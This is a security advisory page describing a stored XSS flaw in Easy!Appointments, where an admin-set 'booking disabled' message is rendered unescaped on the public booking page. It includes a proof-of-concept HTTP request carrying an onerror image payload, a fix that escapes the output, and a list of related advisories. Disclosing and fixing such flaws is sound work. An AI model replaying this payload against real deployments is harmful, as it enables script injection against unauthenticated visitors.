Vulnerability GHSA-996f-334j-67g7

Low Risk
LOW RISK
CVSS Score: 2.6
Score Range: < 4.0
Low severity vulnerabilities (CVSS < 4.0). Hygiene issues that can accumulate but pose lower immediate risk.
3 months ago
July 29, 2026 at 04:30 PM UTC
Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS
1.1.0-beta.1 and 1.1.0-beta.2 and 1.1.0 - 1.2.0-alpha.1 and 1.2.0-beta.1 and 1.2.0 - 1.3.0-alpha.1 and 1.3.0-beta.1 and 1.3.0-beta.2 and 1.3.0 - 1.3.1-beta.1 and 1.3.1 - 1.3.2-beta.1 and 1.3.2 - 1.4.0-beta.1 and 1.4.0 - 1.4.2-beta.1 and 1.4.2 - 1.4.3-beta.1 and 1.4.3 and 1.5.2
1.1.0-beta.1 and 1.1.0-beta.2 and 1.1.0 - 1.2.0-alpha.1 and 1.2.0-beta.1 and 1.2.0 - 1.3.0-alpha.1 and 1.3.0-beta.1 and 1.3.0-beta.2 and 1.3.0 - 1.3.1-beta.1 and 1.3.1 - 1.3.2-beta.1 and 1.3.2 - 1.4.0-beta.1 and 1.4.0 - 1.4.2-beta.1 and 1.4.2 - 1.4.3-beta.1 and 1.4.3 and 1.5.2

Summary

Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS

Details

Summary

Easy!Appointments allows administrators to define a custom "booking disabled" message through the booking settings page. That value is stored in the disable_booking_message setting via a rich-text editor and later passed directly to the public booking_message view without escaping or sanitization:

<p><?= vars('message_text') ?></p>

An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.

Proof of Concept

Step 1 — Store malicious disabled-booking message as admin:

POST /index.php/booking_settings/save HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <admin-session-cookie>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert("easyappointments xss by ashrexon")>

Response: 200 OK — settings saved successfully

Step 2 — Unauthenticated visitor opens public booking page:

GET / HTTP/1.1
Host: 127.0.0.1:18094
(no authentication)

Observed response fragment:

<p><img src=x onerror=alert("easyappointments xss by ashrexon")></p>

Observed browser behavior:

alert("easyappointments xss by ashrexon") executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.

Runtime verification result:

admin login ok
settings save ok
payload reflected on public page
PASS

Suggested Fix

Escape the message value before rendering in the view:

// application/views/pages/booking_message.php
<p><?= e(vars('message_text')) ?></p>

Alternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the disable_booking_message value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.

Related Vulnerabilities

Other vulnerabilities affecting the same packages

Low Risk
3 months ago
Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync
1.1.0-beta.1 and 1.1.0-beta.2 and 1.1.0 - 1.2.0-alpha.1 and 1.2.0-beta.1 and 1.2.0 - 1.3.0-alpha.1 and 1.3.0-beta.1 and 1.3.0-beta.2 and 1.3.0 - 1.3.1-beta.1 and 1.3.1 - 1.3.2-beta.1 and 1.3.2 - 1.4.0-beta.1 and 1.4.0 - 1.4.2-beta.1 and 1.4.2 - 1.4.3-beta.1 and 1.4.3 and 1.5.2 GHSA-8hm4-r66f-29wr
1.1.0-beta.1 and 1.1.0-beta.2 and 1.1.0 - 1.2.0-alpha.1 and 1.2.0-beta.1 and 1.2.0 - 1.3.0-alpha.1 and 1.3.0-beta.1 and 1.3.0-beta.2 and 1.3.0 - 1.3.1-beta.1 and 1.3.1 - 1.3.2-beta.1 and 1.3.2 - 1.4.0-beta.1 and 1.4.0 - 1.4.2-beta.1 and 1.4.2 - 1.4.3-beta.1 and 1.4.3 and 1.5.2 GHSA-8hm4-r66f-29wr
Medium Risk
3 months ago
Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page
1.1.0-beta.1 and 1.1.0-beta.2 and 1.1.0 - 1.2.0-alpha.1 and 1.2.0-beta.1 and 1.2.0 - 1.3.0-alpha.1 and 1.3.0-beta.1 and 1.3.0-beta.2 and 1.3.0 - 1.3.1-beta.1 and 1.3.1 - 1.3.2-beta.1 and 1.3.2 - 1.4.0-beta.1 and 1.4.0 - 1.4.2-beta.1 and 1.4.2 - 1.4.3-beta.1 and 1.4.3 and 1.5.2 GHSA-xgr6-pqjv-3pf8
1.1.0-beta.1 and 1.1.0-beta.2 and 1.1.0 - 1.2.0-alpha.1 and 1.2.0-beta.1 and 1.2.0 - 1.3.0-alpha.1 and 1.3.0-beta.1 and 1.3.0-beta.2 and 1.3.0 - 1.3.1-beta.1 and 1.3.1 - 1.3.2-beta.1 and 1.3.2 - 1.4.0-beta.1 and 1.4.0 - 1.4.2-beta.1 and 1.4.2 - 1.4.3-beta.1 and 1.4.3 and 1.5.2 GHSA-xgr6-pqjv-3pf8
Low Risk
3 months ago
Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass
1.1.0-beta.1 and 1.1.0-beta.2 and 1.1.0 - 1.2.0-alpha.1 and 1.2.0-beta.1 and 1.2.0 - 1.3.0-alpha.1 and 1.3.0-beta.1 and 1.3.0-beta.2 and 1.3.0 - 1.3.1-beta.1 and 1.3.1 - 1.3.2-beta.1 and 1.3.2 - 1.4.0-beta.1 and 1.4.0 - 1.4.2-beta.1 and 1.4.2 - 1.4.3-beta.1 and 1.4.3 and 1.5.2 GHSA-w8xc-8g92-v77h
1.1.0-beta.1 and 1.1.0-beta.2 and 1.1.0 - 1.2.0-alpha.1 and 1.2.0-beta.1 and 1.2.0 - 1.3.0-alpha.1 and 1.3.0-beta.1 and 1.3.0-beta.2 and 1.3.0 - 1.3.1-beta.1 and 1.3.1 - 1.3.2-beta.1 and 1.3.2 - 1.4.0-beta.1 and 1.4.0 - 1.4.2-beta.1 and 1.4.2 - 1.4.3-beta.1 and 1.4.3 and 1.5.2 GHSA-w8xc-8g92-v77h
Low Risk
3 months ago
Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network
1.1.0-beta.1 and 1.1.0-beta.2 and 1.1.0 - 1.2.0-alpha.1 and 1.2.0-beta.1 and 1.2.0 - 1.3.0-alpha.1 and 1.3.0-beta.1 and 1.3.0-beta.2 and 1.3.0 - 1.3.1-beta.1 and 1.3.1 - 1.3.2-beta.1 and 1.3.2 - 1.4.0-beta.1 and 1.4.0 - 1.4.2-beta.1 and 1.4.2 - 1.4.3-beta.1 and 1.4.3 and 1.5.2 GHSA-pm5p-7w5h-jm5q
1.1.0-beta.1 and 1.1.0-beta.2 and 1.1.0 - 1.2.0-alpha.1 and 1.2.0-beta.1 and 1.2.0 - 1.3.0-alpha.1 and 1.3.0-beta.1 and 1.3.0-beta.2 and 1.3.0 - 1.3.1-beta.1 and 1.3.1 - 1.3.2-beta.1 and 1.3.2 - 1.4.0-beta.1 and 1.4.0 - 1.4.2-beta.1 and 1.4.2 - 1.4.3-beta.1 and 1.4.3 and 1.5.2 GHSA-pm5p-7w5h-jm5q
High Risk
3 months ago
Easy!Appointments Vulnerable to Appointments Takeover via Excessive Data Exposure
1.5.2 GHSA-4vmm-5qvc-w5p7
1.5.2 GHSA-4vmm-5qvc-w5p7
View all vulnerabilities for these packages

Timeline

Published
3 months ago
July 29, 2026 at 04:30 PM UTC
Last Modified
9 hours ago
November 10, 2026 at 07:45 PM UTC